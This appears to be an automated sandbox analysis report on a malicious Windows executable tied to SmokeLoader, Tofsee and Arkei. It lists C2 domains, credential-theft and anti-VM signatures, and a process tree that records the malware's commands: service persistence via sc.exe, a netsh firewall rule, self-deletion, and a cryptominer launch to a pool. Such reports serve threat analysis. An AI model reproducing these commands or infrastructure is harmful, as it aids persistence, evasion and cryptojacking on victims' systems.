Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    09/01/2022, 18:21

General

  • Target

    8e48b98eeb21fb5a9641d9527e33a3e9.exe

  • Size

    290KB

  • MD5

    8e48b98eeb21fb5a9641d9527e33a3e9

  • SHA1

    123a541bd89112892c34a9b511249428d2a91152

  • SHA256

    40e53888088f51617c2460792d953c5d3a8503eb17c3389614d3f8412bf1661d

  • SHA512

    ff51f2cf1dc4aa677895b80fcf78e25feff24c3b3f24372687f175631c78cf189f20e92066703fc02e132625781744859d432419cf11e1c4bbfa15ba6f755ca4

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

patmushta.info

parubey.info

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Arkei Stealer Payload 6 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 11 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8e48b98eeb21fb5a9641d9527e33a3e9.exe
    "C:\Users\Admin\AppData\Local\Temp\8e48b98eeb21fb5a9641d9527e33a3e9.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Users\Admin\AppData\Local\Temp\8e48b98eeb21fb5a9641d9527e33a3e9.exe
      "C:\Users\Admin\AppData\Local\Temp\8e48b98eeb21fb5a9641d9527e33a3e9.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1100
  • C:\Users\Admin\AppData\Local\Temp\8640.exe
    C:\Users\Admin\AppData\Local\Temp\8640.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:280
  • C:\Users\Admin\AppData\Local\Temp\F72C.exe
    C:\Users\Admin\AppData\Local\Temp\F72C.exe
    1⤵
    • Executes dropped EXE
    PID:1184
  • C:\Users\Admin\AppData\Local\Temp\36C.exe
    C:\Users\Admin\AppData\Local\Temp\36C.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1036
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\crkzrwap\
      2⤵
        PID:1960
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tviovobo.exe" C:\Windows\SysWOW64\crkzrwap\
        2⤵
          PID:1632
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create crkzrwap binPath= "C:\Windows\SysWOW64\crkzrwap\tviovobo.exe /d\"C:\Users\Admin\AppData\Local\Temp\36C.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1472
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description crkzrwap "wifi internet conection"
            2⤵
              PID:1712
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start crkzrwap
              2⤵
                PID:460
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:520
              • C:\Users\Admin\AppData\Local\Temp\1A09.exe
                C:\Users\Admin\AppData\Local\Temp\1A09.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1488
                • C:\Users\Admin\AppData\Local\Temp\1A09.exe
                  C:\Users\Admin\AppData\Local\Temp\1A09.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2020
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                • Accesses Microsoft Outlook profiles
                • outlook_office_path
                • outlook_win_path
                PID:1320
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:1528
                • C:\Windows\SysWOW64\crkzrwap\tviovobo.exe
                  C:\Windows\SysWOW64\crkzrwap\tviovobo.exe /d"C:\Users\Admin\AppData\Local\Temp\36C.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:1380
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    PID:1744
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                        PID:1108
                  • C:\Users\Admin\AppData\Local\Temp\90DE.exe
                    C:\Users\Admin\AppData\Local\Temp\90DE.exe
                    1⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of SetThreadContext
                    PID:1768
                    • C:\Users\Admin\AppData\Local\Temp\90DE.exe
                      C:\Users\Admin\AppData\Local\Temp\90DE.exe
                      2⤵
                      • Executes dropped EXE
                      • Checks SCSI registry key(s)
                      • Suspicious behavior: MapViewOfSection
                      PID:1508
                  • C:\Users\Admin\AppData\Local\Temp\A318.exe
                    C:\Users\Admin\AppData\Local\Temp\A318.exe
                    1⤵
                    • Executes dropped EXE
                    • Checks BIOS information in registry
                    • Loads dropped DLL
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Checks processor information in registry
                    PID:1060
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\A318.exe" & exit
                      2⤵
                        PID:1320
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /t 5
                          3⤵
                          • Delays execution with timeout.exe
                          PID:1760
                    • C:\Users\Admin\AppData\Local\Temp\CA28.exe
                      C:\Users\Admin\AppData\Local\Temp\CA28.exe
                      1⤵
                      • Executes dropped EXE
                      PID:1596
                    • C:\Users\Admin\AppData\Local\Temp\FEB5.exe
                      C:\Users\Admin\AppData\Local\Temp\FEB5.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1504

                    Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • memory/280-62-0x000000000026A000-0x000000000027A000-memory.dmp

                      Filesize

                      64KB

                    • memory/280-65-0x0000000000400000-0x000000000046D000-memory.dmp

                      Filesize

                      436KB

                    • memory/280-64-0x0000000000020000-0x0000000000029000-memory.dmp

                      Filesize

                      36KB

                    • memory/1036-92-0x0000000000220000-0x000000000022D000-memory.dmp

                      Filesize

                      52KB

                    • memory/1036-93-0x0000000000230000-0x0000000000243000-memory.dmp

                      Filesize

                      76KB

                    • memory/1036-94-0x0000000000400000-0x0000000002B83000-memory.dmp

                      Filesize

                      39.5MB

                    • memory/1060-122-0x0000000000D50000-0x000000000110F000-memory.dmp

                      Filesize

                      3.7MB

                    • memory/1060-120-0x0000000000D50000-0x000000000110F000-memory.dmp

                      Filesize

                      3.7MB

                    • memory/1060-130-0x0000000000D50000-0x000000000110F000-memory.dmp

                      Filesize

                      3.7MB

                    • memory/1060-127-0x0000000000D50000-0x000000000110F000-memory.dmp

                      Filesize

                      3.7MB

                    • memory/1060-129-0x0000000000D50000-0x000000000110F000-memory.dmp

                      Filesize

                      3.7MB

                    • memory/1060-124-0x0000000000140000-0x0000000000141000-memory.dmp

                      Filesize

                      4KB

                    • memory/1060-123-0x0000000000D50000-0x000000000110F000-memory.dmp

                      Filesize

                      3.7MB

                    • memory/1060-134-0x0000000000D50000-0x000000000110F000-memory.dmp

                      Filesize

                      3.7MB

                    • memory/1060-121-0x0000000000D50000-0x000000000110F000-memory.dmp

                      Filesize

                      3.7MB

                    • memory/1060-125-0x00000000000F0000-0x0000000000134000-memory.dmp

                      Filesize

                      272KB

                    • memory/1060-126-0x00000000775E0000-0x0000000077627000-memory.dmp

                      Filesize

                      284KB

                    • memory/1060-139-0x0000000000D50000-0x000000000110F000-memory.dmp

                      Filesize

                      3.7MB

                    • memory/1060-138-0x0000000000D50000-0x000000000110F000-memory.dmp

                      Filesize

                      3.7MB

                    • memory/1060-137-0x0000000000D50000-0x000000000110F000-memory.dmp

                      Filesize

                      3.7MB

                    • memory/1060-136-0x0000000000D50000-0x000000000110F000-memory.dmp

                      Filesize

                      3.7MB

                    • memory/1060-128-0x0000000076C80000-0x0000000076D2C000-memory.dmp

                      Filesize

                      688KB

                    • memory/1060-135-0x0000000000D50000-0x000000000110F000-memory.dmp

                      Filesize

                      3.7MB

                    • memory/1100-54-0x0000000000400000-0x0000000000409000-memory.dmp

                      Filesize

                      36KB

                    • memory/1100-56-0x0000000075AB1000-0x0000000075AB3000-memory.dmp

                      Filesize

                      8KB

                    • memory/1108-173-0x0000000000150000-0x0000000000241000-memory.dmp

                      Filesize

                      964KB

                    • memory/1108-174-0x0000000000150000-0x0000000000241000-memory.dmp

                      Filesize

                      964KB

                    • memory/1184-87-0x0000000000220000-0x0000000000231000-memory.dmp

                      Filesize

                      68KB

                    • memory/1184-88-0x0000000000240000-0x000000000025C000-memory.dmp

                      Filesize

                      112KB

                    • memory/1184-89-0x0000000000400000-0x0000000002B86000-memory.dmp

                      Filesize

                      39.5MB

                    • memory/1320-85-0x0000000000080000-0x00000000000EB000-memory.dmp

                      Filesize

                      428KB

                    • memory/1320-79-0x0000000074A91000-0x0000000074A93000-memory.dmp

                      Filesize

                      8KB

                    • memory/1320-82-0x00000000001B0000-0x0000000000224000-memory.dmp

                      Filesize

                      464KB

                    • memory/1380-141-0x0000000000400000-0x0000000002B83000-memory.dmp

                      Filesize

                      39.5MB

                    • memory/1412-163-0x0000000004A70000-0x0000000004A86000-memory.dmp

                      Filesize

                      88KB

                    • memory/1412-59-0x0000000002710000-0x0000000002726000-memory.dmp

                      Filesize

                      88KB

                    • memory/1412-66-0x0000000003810000-0x0000000003826000-memory.dmp

                      Filesize

                      88KB

                    • memory/1488-83-0x0000000004A60000-0x0000000004A61000-memory.dmp

                      Filesize

                      4KB

                    • memory/1488-84-0x0000000000200000-0x0000000000201000-memory.dmp

                      Filesize

                      4KB

                    • memory/1488-74-0x0000000000830000-0x00000000008BA000-memory.dmp

                      Filesize

                      552KB

                    • memory/1488-75-0x0000000000830000-0x00000000008BA000-memory.dmp

                      Filesize

                      552KB

                    • memory/1504-164-0x00000000008F8000-0x0000000000924000-memory.dmp

                      Filesize

                      176KB

                    • memory/1504-172-0x0000000004974000-0x0000000004976000-memory.dmp

                      Filesize

                      8KB

                    • memory/1504-171-0x0000000004973000-0x0000000004974000-memory.dmp

                      Filesize

                      4KB

                    • memory/1504-170-0x0000000004972000-0x0000000004973000-memory.dmp

                      Filesize

                      4KB

                    • memory/1504-169-0x0000000004971000-0x0000000004972000-memory.dmp

                      Filesize

                      4KB

                    • memory/1504-168-0x0000000000400000-0x000000000047B000-memory.dmp

                      Filesize

                      492KB

                    • memory/1504-167-0x0000000000220000-0x0000000000259000-memory.dmp

                      Filesize

                      228KB

                    • memory/1504-166-0x00000000022F0000-0x0000000002322000-memory.dmp

                      Filesize

                      200KB

                    • memory/1504-165-0x0000000002190000-0x00000000021C4000-memory.dmp

                      Filesize

                      208KB

                    • memory/1528-81-0x0000000000060000-0x000000000006C000-memory.dmp

                      Filesize

                      48KB

                    • memory/1528-80-0x0000000000070000-0x0000000000077000-memory.dmp

                      Filesize

                      28KB

                    • memory/1688-58-0x0000000000230000-0x0000000000239000-memory.dmp

                      Filesize

                      36KB

                    • memory/1688-57-0x0000000000220000-0x0000000000229000-memory.dmp

                      Filesize

                      36KB

                    • memory/1744-143-0x0000000000100000-0x0000000000115000-memory.dmp

                      Filesize

                      84KB

                    • memory/1744-145-0x0000000000100000-0x0000000000115000-memory.dmp

                      Filesize

                      84KB

                    • memory/2020-102-0x0000000000400000-0x0000000000420000-memory.dmp

                      Filesize

                      128KB

                    • memory/2020-98-0x0000000000400000-0x0000000000420000-memory.dmp

                      Filesize

                      128KB

                    • memory/2020-99-0x0000000000400000-0x0000000000420000-memory.dmp

                      Filesize

                      128KB

                    • memory/2020-97-0x0000000000400000-0x0000000000420000-memory.dmp

                      Filesize

                      128KB

                    • memory/2020-107-0x0000000004900000-0x0000000004901000-memory.dmp

                      Filesize

                      4KB

                    • memory/2020-96-0x0000000000400000-0x0000000000420000-memory.dmp

                      Filesize

                      128KB

                    • memory/2020-104-0x0000000000400000-0x0000000000420000-memory.dmp

                      Filesize

                      128KB

                    • memory/2020-95-0x0000000000400000-0x0000000000420000-memory.dmp

                      Filesize

                      128KB